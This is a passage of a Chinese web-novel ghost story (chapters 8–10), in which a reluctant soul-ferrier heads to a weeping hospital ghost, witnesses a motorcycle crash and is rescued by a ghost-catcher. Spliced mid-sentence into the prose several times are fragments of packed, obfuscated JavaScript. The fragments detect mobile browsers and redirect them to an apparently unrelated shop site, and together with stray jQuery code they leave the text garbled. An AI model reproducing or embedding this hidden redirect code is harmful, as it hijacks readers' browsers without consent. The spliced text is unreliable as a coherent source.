0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718944|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好主子。” 白心的心里唰地一下凉了,不知道该说什么好。 意思是说,她大概率还是要去地狱道,而她打工积的德并不能改变太多,最多就是拔指甲和坐老虎凳的区别而已。 怪不得他们会答应帮忙,原来在他们看来,无论她怎么选,她的最终归属还是地狱。 白无常似乎看出她在想什么,说道:“不过也有例外,不久之前就有一个引渡人从饿鬼道成功投胎去了阿修罗道。” 他的眼神闪烁,里面闪过一丝慈悲:“她引渡了两百个灵魂。” “是的,”黑无常说道,“你上匿名论坛或者九幽头条都能看到她,而且她是在角斗场还没开放的时候完成的。” 对啊,白心被点醒了,还有角斗场! 她急切问道:“有没有从角斗场逆天改命的?” 白无常摇摇头:“暂时没有,普通引渡人和角斗场里的恶灵实力差距太大,基本都以引渡人失败收场。” “我看好你!”黑无常突然说道,“就凭你-99999的功德,你也不是个等闲之辈!” 白心:“……” 无语过后她突然莞尔一笑,笑得十分惊悚:“这不是还有你们吗?” 黑无常:“……” “好了,”白无常活动了一下手腕,终于开始说结束词,“通讯录、工作台都带你看过了,接单方法也告诉你了,还有什么疑问吗?” 白心举起手:“我还有一个问题。” “请说。” 黑无常也吹吹黑袍上的灰,故意模仿白无常的冷漠腔调:“请说。” 白心:“如果我遇到突发情况,怎么联系……” 不可能让她在被鬼掐脖子的紧张情况下打开通讯录给他俩打电话吧? 黑无常抢先回答:“长按手环旁边的按钮,手环会自动发送求救信号,附近的拘魂使或者捉鬼师会收到,我们也是。” 白心松了口气,放下手臂,还好,很智能,很方便。 白无常补充道:“温馨提示,除我们外,我们不会因为任何一个人来或者不来,就对他们的功德进行加减。” “也就是说,”他嘴角上扬,眼神却仍然冷漠,“救或不救,全凭自愿。” 救人也不加功德啊?白心无语,转念一想也是,你帮同事做了他的那份工作,你的工资也不会变成双倍。 该死的,她在心里咒骂,这套毫无王法天理不容泯灭人性的打工制度到底是谁发明的! “人各有命,”白无常弹弹西装上的灰尘,整理衣领,“祝你好运。” 黑无常终于从床头柜上下来,也浑身发痒似的抖了抖他的一身黑袍,笑着说道:“希望四十九,哦不,四十八天后还能看见你站在奈何桥上喝孟婆汤,虽然那玩意儿吧,又苦又涩,但不是人人都有机会喝,祝你任务顺利,功德圆满哦。” 白心看到,屏幕右上方的时间正好跳转到零点。 新的一天已经到来了。 黑无常说完,两人作势要走。 白心眼疾手快,拉住黑无常的袍子,问道:“你们给我的武器和手铐呢!” 白天她找了半天也没找着,它们要是丢了那她只能空手去了,那就不是去捉鬼,而是被鬼捉了。 白无常下巴一抬,目光瞟向床头柜:“不就在那儿吗?” 白心低头看向右边的床头柜,果然哭丧棒和银手铐安安静静躺在刚刚黑无常蹲过的地方,再一抬头,空气中就只剩两股飘渺的烟了。 白心的手里一空,只剩一丝黑烟在她的手心,很快也要飘走。 “你的武器可以收在手环中,晚上子时手环才会正式启动,其他注意事项员工手册里都有。” 空气中传来白无常的声音,只不过越来越远,白心朝窗外看去,雨越来越大,一丝白烟逐渐消失在雨夜中。 8. “哭泣”的医院(一) 白心看着窗外愣了一会儿,终于回过神,爬向床头柜试着拿起武器和手铐。 她的左手刚碰到哭丧棒,手环就轻微震动了一下,武器和手铐瞬间都被吸进了手环。 白心吓一跳,一抬头,看见屏幕还亮着,里面还站着刚刚黑无常点开的那只怨气冲天的黑鬼。 阿弥陀佛,白心边念叨边抬起手,赶紧关掉。 手指还没触碰到屏幕,黑鬼就瞬间消失,屏幕也恢复到了工作台的界面。 意念控制?!白心惊呆了,地府的科技怎么这么高级? 她作为外包程序员,尖端的低级的流行的脱俗的技术目睹过,大大小小的项目也参加过,就是没见过真正实现意念控制的。 人类真是一败涂地。 唉,她叹了口气,目光落在了屏幕上,工作台的右下方有个名为“背包”的方块。 点开背包,武器和手铐果然安安静静躺在里面,占了背包里的两个方格。 正在观察中,她突然觉得小腿一阵发麻,低头一看,自己还保持着跪坐的姿势坐在床上。 她给黑白无常下跪起码三小时了。 她赶紧向前扑倒在床上,然后一个翻身坐了起来,后背靠在床头上。 “啊——” 被压麻的小腿压力瞬间释放,酸胀痛麻的感觉立马爬满双腿,白心咬紧牙关,这种感觉比在厕所蹲久了再站起来还难受。 正在呲牙咧嘴中,她的身体突然一轻,什么不舒服的感觉都没有了。 她低头,看见自己的身体泛着淡淡的白色光芒。 出体了。 投影已经随着白心的视角转换,白心抬起头,看向屏幕里的右上角。 零点二十分。 原来过了零点就能出体,白心了然,想起白无常之前说的她的灵魂晚上才会出来。 她正在思考,手环就又一阵震动,力度比刚刚还要大。 白心看到,屏幕里的“大厅”右上角突然多了个小红点。 这是…… 来活了! 她心跳瞬间加速,来了来了,她的职业生涯首胜要来了! 她迫不及待点开大厅,根据白无常刚刚的指导点开新任务,看见左上角悬浮着一个黑框,下面的抢单不出意外是绿色的。 她点击黑框,黑框瞬间放大占满屏幕,开始播放画面。 白心死死盯着屏幕,生怕漏过一丝细节。 夜晚的缘故,画面同样十分昏暗,但有一些绿色灯光照进来,勉强还能看得清。白心仔细辨认,才看出来这是一条很长的走廊,绿色的光则是墙壁上的安全通道标识发出来的。 走廊左边是一排窗户,窗帘破破烂烂地挂在上面,右边是很多门,门上方的墙壁上好像挂着什么牌子。 3……304?白心眼珠子都快看掉了,才勉强看清离她最近的门上面的字。 不对,白心脑子里突然划过一道流星,这地方怎么有点眼熟? 这氛围、这布局,这是……医院? 白心还在确认,一阵细细的哭声就响起,破烂的窗帘被一阵风吹起,月光漏了进来,白心看见走廊尽头站着一个人。 不对,是鬼。 白心脑子里“轰”地一声,头皮开始发麻,鸡皮疙瘩瞬间遍布全身。 这个鬼是背对着她的。 鬼穿着一身病号服,长长的头发凌乱地披在后背,双手垂在大腿两侧,一动不动。 只是哭。白心看到,这只鬼甚至连肩膀都没有抖动,像个手办一样直直地站在那里,只是哭。 一层浅蓝色的光芒的包裹着鬼,白心看见她的脚下已经积了一小汪水,在月光的照射下反射出令人胆寒的光芒。 画面猛地一切,瞬间到了户外,白心的视野立马开阔。 医院。她看着那排因为故障时而熄灭时而闪烁的招牌,十分确定以及肯定,这就是医院。 “安宁区妇幼保健院”八个大字,只有“妇幼”两个字还一直亮着,其他字全都在闪烁。 医院整体不大,甚至有点小,只有两栋大楼。白心惊奇地看到,前面的那栋楼整体散发着一层蓝色的光芒。 刚刚那个鬼的哭声又响了起来,越来越大越来越大,但是无法确认具体是从哪一层传出来的,因为白心看到这栋楼的每层窗户都开始滴水。 雨已经小了很多,明显能看出从窗户滴下来的并非雨水。 不是下雨,而是整座医院都在哭。 白心脑子里突然浮现出黑无常的话,不久前有个引渡人被眼泪淹死。 不会吧?!白心想,第一次就给我这么大个单? 哭声戛然而止,白心看到视频已经播放完毕,画面停在了医院的户外,那块故障的招牌也不再闪烁。 呼,白心长出一口气,这恐怖片总算是看完了。 气还没喘匀,屏幕上弹出一条信息:此单预计收获功德点888点,是否接单? 我靠,白心惊了,这么恐怖才888点?这合理吗? 她犹豫了,没有立即点击“是”,而是退出了界面。 画面退了出去,黑框也缩小,挂在她“新任务”的左上方,绿色的“抢单”二字十分抢眼。 她脑子里有两个声音,一个声音告诉她接吧,这可是888点,够你干好几单了。另一个声音劝她别接,这么恐怖才888点,性价比一点也不高。 她想起墓园里那个悲伤的吊死鬼,功德才123点,而且她还接不了,因为白无常说太简单了。 她还想起昨天黑无常蹲在她的床头柜上,告诉她她只能捡别人不要的亡魂收。 她抬起手,趁大脑还没反应过来,立即点击了“抢单”。 不管了,接! 事到如今她还有什么挑三拣四的资格,有单接就不错了,白心想,为了她的功德,就算是屎她也得吃! 她的手指连续点击了两个“是”,手环又是一阵震动,白心看到“待执行”右上角也冒出了个红点。 她点开“待执行”,看见黑框已经进入了待执行列表。 走吧,白心站起来,有种壮士断腕般的悲壮。 她站在床上,浑身几近透明,转过身,她看见自己的肉身仍然背靠着床头坐着,双眼紧闭,呼吸均匀。 ……有点诡异。虽然她照了二十多年镜子,但这样面对面观察自己的感觉还是太奇怪了。 头发不长不短,正好垂到肩膀,长得不丑,但也没美到哪去,面容平静,眉头微皱,就是嘴唇白白的,没有血色。 她鬼使神差般地伸出手,摸到自己的嘴唇,轻轻地……撕掉了一小块干燥的嘴皮。 我靠!她捏着那块嘴皮,大吃一惊。 竟然能撕下来,白心感受着手指间的神奇触感,心想:那岂不是意味着她也可以摸其他人了? 明天陈灵出差回来就吹她的头发玩。白心邪恶一笑,恶从心头起。 手环又轻微震动了一下,把她从恶作剧幻想中拉了出来,白心抬起头,看见“线路图”的右上角也出现了个红点。 好了,她把嘴皮扔掉,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718945|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事要紧。 她点开线路图,一张地图瞬间铺满屏幕,跳入眼帘。 她看了看,和她在人间用的手机地图倒是没太大区别,起点是个绿色箭头光标,就在她家所在的小区,终点是个红色的图标,图钉似的扎在地图上。 图标上面挂着一行字:安宁区妇幼保健院住院部3楼304。 304……白心想起刚刚视频里看见的门牌,想必这就是刚刚那个女鬼的死亡地点了。 离她家倒是不远,她看到地图上也标出了距离,也就三公里。 那么……白心想了想,是慢慢走过去,还是快速飞着去呢? 她之前问过白无常,成为引渡人之后就可以飞檐走壁,她想起黑白无常消失的身影,不禁开始纠结起来。 正想着,脚下突然亮起一道光芒。 她低下头,看见她的两只脚正踩在一个绿色的光圈里,光圈延伸出一条长长的绿色光柱,白心看到光柱一路从床上射到了她的大门,穿了出去。 她把导航踩在脚下了?! 白心下巴都快掉到地上了,想过先进没想到这么先进,这简直就是高级版AR技术啊! 手环突然传来一道声音:“是否确认现在出发?” 白心吓一跳,抬起手腕看着手环,说道:“你还会说话?” “是的主人,”手环回答,声音是清脆的女孩子的声音,“我不仅会说话,我还会唱歌哟。” 说罢,开始不管不顾地唱了起来:“叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~” “停停停,”白心紧急叫停,“谢谢你的美意。” 为她祈福是好的,但大晚上的有点扰民了,她怕她对面那诡异的邻居立即找上门来。 “好的主人,”手环回答,“温馨提示,活着的人类是听不见我们的声音的哟。” 原来听不见啊。白心松了口气,仔细一想也是,要是听得见,估计得吓得精神分裂。 她的猫突然跳上床,朝着刚刚手环的位置喵了两声。 “小黑。”白心叫它的名字,小黑的眼睛立刻朝她看了过来。 “人听不见,猫能听见或者看见吗?”白心问道,小黑明显感应到了她的存在。 手环立即回答:“不能直接看到,但是可以感应到哦,您的猫非常有灵性呢。” 是吗,她蹲下来,摸了摸猫头,不愧是她的猫,好猫! 手环又问一遍:“是否确认现在出发?” 白心停下摸猫的手,抬起手腕,时间显示零点三十五分。 “出发。” “好的,”手环回答,“您可以自行选择出行方式,走路或是飞行。” “飞行。” 其实她也想走着去,因为说到底这是去捉鬼,不是去捡钱,不需要这么急切。 但是她真的很好奇飞是什么感觉。拜托,这可是飞耶! 话音刚落,她的身体就往上移了一下,悬在了空中。突然,她不受控制地向后一转,脚尖朝向了绿色光柱延伸的方向。 她站起来,发现自己轻盈无比,已经完全飘起来了。 这就是阿飘吗?白心想,原来鬼真的是飘着走路的。 她慢慢地移动了起来,从床上沿着导航一路飘到了门口。 她的手放在门把手上,正打算开门,身体就直接穿过了大门。 哇哦,还能穿墙,白心想,白无常果然没有骗人。 但是……她看着自己移动的身体,不禁咆哮道:“怎么比走路还慢啊!” 9. “哭泣”的医院(二) 白心穿过了她家的大门,停在了楼道里。 头顶的声控灯早就坏了,此刻正在闪烁,暗黄色灯光在她无语的脸上明明灭灭。 她家拢共只有五十平,从床上到门口她却飘了整整十分钟。 “喂,”她抬起手腕朝手环喊道,“能加速吗?” 手环沉默了十几秒,才回答道:“不好意思呢主人,您的功德点不支持您快速移动。” 白心:“……” “代步工具呢?”她又问,“不要告诉我地府连交通工具都没有。” 地府科技都这么先进了,不说哆啦A梦那种任意门,小汽车、电动车哪怕是自行车也应该有吧? 手环又是一阵沉默。 白心拍拍手环,问道:“你睡着了?” “没有呢主人,”手环清脆一笑,有点尴尬地回答道,“您的功德点不支持您乘坐或购买任何交通工具呢。” 白心:…… 算了,她放下手臂,认命吧。 穷人是坐不起高铁的,更别想坐飞机了,她想,罢了,走路就走路,把脚走烂也认了。 她叹了口气,说道:“我还是走路过去吧。” “好的主人,”这次手环倒是回答得很快,“您可以随意切换出行状态,不必再呼唤我。” 说完,她的双脚立马站在了地上,起飞的梦想刚开始就结束了。 还是黄土大地走起来舒服,她迈开步子开始下楼,飞不了怎么了,走路也很好! 刚走下一阶台阶,她就听见右边“嘎吱”一声。 邻居家的门开了。 嗯? 白心瞬间扭头,正想打招呼,突然想到自己还在灵魂出体的状态,邻居是看不见她的。 这个时间出来干什么?白心看了一眼手环,已经快凌晨一点了。 她的邻居是个看起来五十多岁的女人,白心平时很少和她接触,偶尔几次照面还是她下楼扔垃圾的时候碰巧和她撞上。 女人似乎是独居,不知道有没有子女,反正没有男人,白心从未见过她家有男人出没的身影。 而且……好像也没有朋友。 白心尚且有个陈灵偶尔会来上门看她是否活着,但她的邻居家却永远大门紧闭,无人叩门。 很诡异的人。白心看见女人打开了门,把一袋垃圾放在了门口。 原来是放垃圾。 白心松了口气,刚刚莫名紧张的心也松了下来,不知道为什么,她总觉得这位邻居大姐不简单。 她把头扭回来,打算跟着绿色导航继续走,却没有听见邻居关门的声音。 她又把头转过去,只是一瞬间,她的头皮就炸开了。 邻居正趴在她家的门上,死死盯着大门的猫眼。 楼道里的黄色灯光还在闪烁,白心的双脚像被钉死了般动不了,邻居也保持着趴在门上的姿势一动不动。 她的心几乎要跳出嗓子眼,浑身从头麻到脚,大气都不敢喘。 这是在干什么? 女人顶着一头乱糟糟的头发,穿着老旧睡衣,像蜘蛛一样双手扒在门上,脑袋抵着猫眼的地方,一只眼睛正对着猫眼往里看。 偷窥? 白心在混乱中想,没理由啊,都是女人,有什么好看的。 盗窃? 那更不可能了,她穿的衣服都是几年前的旧款,鞋子只要没烂也坚决不换,从不化妆,每天洗把脸就出门上班了,背的也都是十几块钱的帆布包。 怎么看怎么穷。唯一跟“富”沾边的只有她那“早日暴富”的手机壳和桌面壁纸。 家里更是家徒四壁,锅碗瓢盆什么的都是陈灵拿来的,没金银首饰也没高级化妆品,连小黑都是她从垃圾桶里捡来的。 她想不通。 她也不敢往深了想,更不敢有什么大动作。 就这样僵持了五分钟,女人终于离开了她的门,趿拉着拖鞋游魂一样回去了。 “砰——”,重重的关门声回荡在楼道里。 手环突然轻微震动,把白心从关门的余震里拉了出来,她抬起手腕,手环提醒她:“任务目标已开始移动,请您抓紧时间。” 开始移动?白心皱眉,什么意思,女鬼跑了? 不管了,她放下手臂,赶紧走。 已经一点整了。 她回头,看了一眼邻居家的门,深深吸了一口气,转头开始下楼。 导航沿着楼梯一路往下,白心闷头走,甚至小跑起来,用上了她赶末班车的速度,很快就到了小区门口。 她也想过直接穿墙下楼,但是娘了个巴子的太厚的墙她根本穿不过。 她走在空无一人的马路上,心里咆哮:这超能力有什么用! 都怪她太穷。她想,果然穷是一切灾难的祸根。 她加速小跑起来,发泄一般朝着目的地狂奔,跑了几分钟突然想起来,自己好像漏了什么东西。 她立马放慢脚步,重新点开手环。 投影又出现在她眼前,她边走边点开通讯录,定位到倒数第二排的捉鬼师,点开列表,找到了那个显眼的库洛米头像。 “是否确认添加捉鬼师-钟槐为好友?” 白心点头,“是”。 差点忘了这位女侠了,她想,答应了人家的事可不能忘记。 好友申请发了过去,钟槐没有立即通过。应该在忙着捉鬼吧,白心想,就算是钟馗的后代,对付那些恶鬼应该也没那么简单吧。 想到捉鬼,她退出了通讯录,点开了工作台里的员工手册。 还一条都没看呢。她想,正好,趁着走路的时间恶补一下。 刚刚抢单的时候手速太快,只看到了功德点多少,任务难度根本没看清,好像是……C级吧? 不知道。白心想,反正已经接了,情况不对的话大不了就跑呗,打不过还跑不过么。 她看着员工手册,密密麻麻的信息像一条条符咒般印在屏幕上,她忽然觉得有些头疼,这些字像唐僧给孙悟空念的经一样让她窒息。 无论在哪,打工总是让人痛苦的。 虽然已是深夜,马路上还是偶尔有来往的车辆,也会突然出现几个刚吃完夜宵的大学生,嘻嘻哈哈地手拉手一起压马路。 白心看到那些活蹦乱跳的女孩,心里莫名有点小小的心酸。 真好。 上班三年多,她已经变成了活人微死的状态,学校里的生活仿佛已经是上辈子的事了。虽然上学也没开心到哪去,但不至于和上班一样每天下了班连吃饭的力气都没有。 更别说她现在都死人微活了还在打工。 唉,她边硬着头皮看员工手册边叹气,或许这就是天生劳碌命。 走了大概十来分钟,员工手册终于看得差不多了,白心关掉手册,点开了旁边的“瞒天过海”。 换换脑子,顺便看看这个匿名论坛到底是什么东西。 一点开,就是个登陆界面,上面写着初次登陆需要填写昵称。 白心皱眉,不是匿名论坛吗,怎么还要昵称,每个人的昵称由系统取就好了啊,统一叫匿名用户XXX号不就行了吗。 要知道她可是个取名废,无论什么网站都是一招真名走天下,要不是陈灵拦着,她甚至打算给小黑直接取名“猫”。 10087。她突然想起她的ID,不用真名那就用ID吧。 就叫87。她在屏幕上填好昵称,这样也没人知道她是谁,87,白心,非常顺耳啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718946|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一进去,就是个类似于贴吧的页面,首页飘满了帖子。 这就是匿名论坛啊?白心想,开发这个的鬼是不是上辈子在百度干过。 她随机点开一个回复比较多的贴,标题写着:安宁区求助! 发帖人的昵称叫皮卡丘,头像和大家一样,都是系统统一的灰色头像。 点进去,正文写着:请问有谁知道安宁区妇幼保健院那个女鬼是什么情况吗? 白心:? 安宁区?妇幼保健院?白心瞪大眼睛,还是个女鬼? 这不就是她马上要去的地方吗! 正文下面有三四十条回复,白心一路刷下去,看到大家都在讨论那个女鬼。 喜欢耙耙柑:系统给我派过一次,但我没去。 苹果是无聊的水果:我也是,虽然是C级任务,但看到那么多人都没去,我也没去。 抹茶拿铁:关键是沟通不了,她一直哭。 有点意式:哭就算了,还停不下来,说什么都听不见似的,我都怀疑她看不看得见我。 玛丽亚:听说原来是B级,结果一直没人解决,就变成C级了。 少冰不加糖:完了,这才半年就升了一级,那变成S级恶灵也不远了。 尔多龙:那怎么办,范无咎和谢必安不管,捉鬼师也不管,就一直晾着? 不准喜欢耙耙柑:还能怎么办?要么来个有缘人带走,要么等她变成恶灵被捉鬼师捉走。 小桌子:我觉得……她不像能变成恶灵的样子。 小凳子:执念太深,变成什么都有可能,最大的敌人不是别人,而是自己的心魔。 小嘴巴:那就祝她战胜心魔吧。 彩色铆钉:才半年,都这么紧张干啥,我前天刚收了个待了二十年的。 …… 白心一路看下去,一直看到底,也没看见这个女鬼的执念到底是什么。 怪不得呢。白心停下了脚步,她终于明白为什么这只蓝色鬼的任务属于C级了,也知道为什么这个任务会派给她了,原来是别人无法知道、也解决不了她的执念。 刚刚的员工手册里写得很清楚:A级任务,0—300功德点;B级任务,300—800功德点;C级任务,800—1500功德点;D级任务,1500—3000功德点;E级任务,3000—5000功德点;S级任务,5000以上功德点。 A级:白色灵魂居多,通常无执念或执念很浅; B级:白色、蓝色灵魂均有,蓝色灵魂占比较大,执念较轻; C级:蓝色、红色灵魂均有,红色灵魂占比较大,执念程度中等; D级:红色灵魂居多,少有蓝色灵魂,执念程度较重; E级:红色、黑色灵魂均有,少有黑色灵魂,执念程度很重; S级:黑色灵魂居多,执念程度非常重。 这个女鬼之前只是B级,执念并不是很重,因为一直没有人能解决她的执念,导致她的执念变成了中等——白心明白了,为什么她会出现在红色灵魂占比较大的C级任务里。 人一直得不到自己想要的东西,就会变得偏执。 只是有点奇怪,白心想,她的执念是什么呢?她又为什么不肯说呢? 引渡人并非暴力执法,大部分都是来帮助化解执念、带领他们上路的,既然有人帮忙,她又为什么不肯接受呢? 蓝色代表悲伤,她只是悲伤而已,不是愤怒也不是怨恨,什么样的悲伤会让人的执念程度这么深? 正想着,耳边突然传来一声巨大的撞击声,白心感受到一股热气巨浪般瞬间从左边涌了过来。 她转头,看见一辆摩托车迎面撞上了一台货运车。 车祸了。 10.“哭泣”的医院(三) 白心当场愣住,一场人祸就这样发生在眼前。 摩托车上的人直接飞了出去,货车司机紧急刹车,庞大的车头抵着已经撞烂倒地的摩托车向前滑行。 摩托车的金属外壳在地上摩擦,带起一片闪电般的火花,刺耳的刮地声回荡在空旷的马路上,白心的耳膜一阵刺痛。 十几秒后,世界静止了。 一声尖叫从不远处传来,划破了寂静的夜空。白心看到刚刚还在嬉笑玩闹的那几个女大学生已经乱作一团,站在马路旁边不知所措。 报警。白心瞬间反应过来,要赶紧打110和120。 不对,她又反应过来,自己现在根本没办法报警。 她看向那几个女生,看见其中一人已经拿起了手机开始打电话,虽然身体仍忍不住抖动,表情却努力控制自己冷静,有条不紊地向警察说明情况,另外一个女生在这个女生的提醒下也边哆嗦边打开手机叫救护车。 好样的。 女生们在她对面的人行道上,和她距离二十米左右,被撞飞的摩托车车主正躺在靠近女生那边的马路上。 逆行。白心看着和她行驶轨迹一样的摩托车想,全责。 还不戴头盔。她看见车主躺在地上,脑袋已经撞裂了,血和脑浆从裂口中汩汩流下来,地面上很快就积了一小汪血水。 货车司机慌张地从车上下来,看见尸体后直接双膝跪地,根本不敢靠近半步。 唉。白心叹了口气,看着已经四分五裂的摩托车,明天和意外永远不知道哪个先到来。 突然,车主的尸体一亮,从中缓缓升起一缕黑烟。 白心的手环猛地震了一下,清脆的女声响起:“附近有S级恶灵出没,请注意安全。” 白心:? 恶灵? 她转过头,看见那缕黑烟逐渐聚拢成形,变成了一个男生的模样,正飘在摩托车车主尸体的上方。 男生也转过血流不止的头,和白心四目相对。 白心的右眼皮开始狂跳。 该死的,她想,果然明天和意外不知道哪个先来是吧。 功德还没收到,恶鬼倒是来了。 她用意念取出手环里的哭丧棒和手铐,右手紧紧握住哭丧棒的把柄,左手捏开手铐的环扣,把手铐挂在她的裤腰带上。 员工手册第二十八条:遇到黑色灵魂请不要慌张,白色哭丧棒会有一定的威慑作用。 跑是跑不掉了,她双手握住哭丧棒,摆出一个即将挥棒的姿势。 员工手册第二十九条:敌不动,我不动,和黑色灵魂交手时请不要贸然行动。 来吧。她想,只要你敢过来,我就送你一个大嘴巴子。 男生还在盯着白心看,浑身已经变成一种墨水般弄浓重的黑色,和浅白色的白心形成了鲜明对比。 不远处救护车的声音逐渐逼近,另一头警车的鸣笛声也呼啸而来,一黑一白两只鬼隔着马路对视,剑拔弩张,一触即发。 男生大约十六七岁的样子,接近一米八的身高,寸头,皮衣,锁骨处还有若隐若现的纹身。 鬼火少年。 白心的脑子一下就冒出了这个词,一些半夜被摩托车炸街吵醒的记忆瞬间复苏。 她看着浑身冒着黑气的恶鬼,一股怒火突然从心底冒了出来。 你还好意思生气呢?她咬牙切齿,就是你这种人半夜扰民,吵得别人睡不着觉! 愤怒中,黑影突然一动,瞬间消失,一股黑烟朝着白心的脸迅速扑了过来。 不好! 白心举起哭丧棒,闭着眼往下用力一挥,好快的速度! “叮——” 一种金属碰撞的声音在头顶响起,声波像波纹一样回荡在白心的耳边。敲中了,她想,明显能感觉到哭丧棒打中了什么东西。 她睁开眼,看见了一只手臂。 准确地说,是一只戴着银色镯子的手臂,而她的哭丧棒正好敲在了手腕处的镯子上。 “白心。” 来人左手掐着鬼火少年的脖子,右手挡着哭丧棒,笑着和白心打招呼: “你好啊。” 白心看着那张熟悉的脸,惊讶说道:“钟槐?” 钟槐放下挡着白心的右手,从挎包里掏出一张空白的黄色纸符贴在左边黑鬼的脑门上,抬起手臂开始隔空画符:“把他交给我。” 白心看见那张黄纸上逐渐画满歪歪扭扭的红色符号,问道:“你接单了?” “对啊”,钟槐边画边说,“我刚在附近收完一个,就看见这边也出事了。” 员工手册里有写,黑色灵魂通常由捉鬼师接单,极少会分配给引渡人。 画完,她放下掐着恶鬼脖子的手,两只手互相拍了拍,双手抱在胸前满意地说道:“这才乖嘛。” 白心看到刚刚还冒着浓浓黑气的鬼火少年气焰瞬间小了很多,身上的颜色像墨水退了色般降了好几个度,此刻脑门上贴着符纸,乖乖地一动不动。 “这么巧?”白心放下手臂,把武器和手铐都收进手环,“我正好也要去附近捉鬼。” 警车和救护车已经赶到,白心看到警察和医生都已经开始工作,鬼火少年的尸体被抬上了救护车担架,警察正围着那几个女大学生询问情况。 钟槐把手伸到脑袋上,取下她的红色头绳,拉直后在少年的脖子上绕了几圈,把红绳的另一头牢牢握在手里。 “你要去哪儿?”她转头看向白心,大眼睛依然眨巴眨巴。 白心看着钟槐行云流水的动作和遛狗般的姿势,回答道:“妇幼保健院。” 她抬起手腕,手环显示一点半。 已经耽误太多时间了。她想,半个小时前手环就已经提示目标移动了,再不去她的功德都要跑没了。 “谢谢你救我,”白心抬起头,说道,“不过我要走了,这个人情我下次再还。” “不用了。” 钟槐牵着安静的鬼火少年,说道:“我不是特意来救你的。” 白心点点头:“好吧,但还是谢谢你。” 从移动速度就能看出,她和这个恶鬼的能力根本就不在一个水平,如果没有钟槐及时赶到,估计她三百万的功德保险都已经到账了。 刚刚她极度紧张,甚至忘记了按手环上的求救按钮,只想着怎么给对方来一棒子。 幸好,她松了口气,还算命大。 已经走了一大半了,白心朝马路前方望去,最多十分钟绝对能走到。她迈开双脚,重新踏上导航,左手潇洒一挥:“那就这样,我走了。” “等等。” 钟槐扯住她的袖子,大眼睛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721131|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨:“我送你。” 啊? 白心回头,这才看见钟槐的身后不远停着一辆通体透亮的白色机车。 好贵。白心看着那辆高调奢华的机车,首先想到的就是这车一定价值不菲。 好酷。其次想到的是,这也太狂拽炫酷吊炸天了吧?! 这造型、这做工,这漆面这设计,这在人间没个两三百万根本拿不下来! 这比她公司天天炫富的富二代装货的车更好看! 钟槐一手牵着少年一手牵着白心,转身就朝机车走,根本没看见身后一黑一白两只鬼的眼睛看见机车后都跟灯泡一样亮了起来。 还是个小富婆。白心看着钟槐的后脑勺,心想这姑娘不仅是关系户,还是个富二,不对,富N代。 转念一想,钱权不分家,人家祖上这么牛,有点钱也是正常的。 钟槐把红绳绑在车尾,拍了拍后座,转身对着白心说道:“这车是我从谢必安手里抢来的,怎么样,很酷吧?” 啊?白心瞪大眼睛:“抢来的?” “对啊,”钟槐回答,“我捉了那么多鬼,抢他辆车算什么。” 她灿烂一笑:“没有我们捉鬼师,他和范无咎都得累死。” 原来如此。白心明白了,这是替黑白无常回收亡魂的报酬。 果然原始资本得靠掠夺才能积累,白心想,下次她也得从黑白无常手里抢点什么。 “好了,”钟槐又拍了一次后座,“上来吧,你坐后面。” “那他呢?”白心伸出食指指着站在机车后面的鬼火少年。 钟槐大长腿往上一抬,瞬间跨坐在了机车上,从下方掏出个白色头盔抛给白心:“飘着啊。” “你忘啦,”钟槐掏出另一个黑色头盔戴在头上,“他是鬼耶。” 白心:…… 好吧,无法反驳。 她戴上头盔,心想还好鬼鬼有别,她不用跟他一样飘着。 “谢谢,”她艰难爬上高大的机车,双手抱住钟槐的腰,“我准备好了。” 钟槐右手一拧,机车瞬间发动:“出发咯——” …… 十秒后,白心看着闪烁的“安宁区妇幼保健院”招牌目瞪口呆。 “好了,”钟槐的左腿撑在地上,右胳膊肘戳了戳后面的人,“到了。” 白心从车上下来,看见右边确实是任务列表里的妇幼保健院,低头一看,导航的绿色光圈也消失了。 手环轻微一震:“您已到达任务目的地,祝您一切顺利。” 钟槐用手指戳她肩膀:“那我走啦。” 白心抬起头,看见钟槐隔着头盔冲她笑,往后一看,鬼火少年气球似的飘在后座旁边,长长的红绳系在脖子上。 ……好别致的捉鬼方式。 “谢谢你。”她取下头盔,把头盔递给钟槐。 “不客气,”钟槐右手一挥,坐直了身体,“头盔送你了。” 话音刚落,机车瞬间飚了出去,只留下一道白色残影。 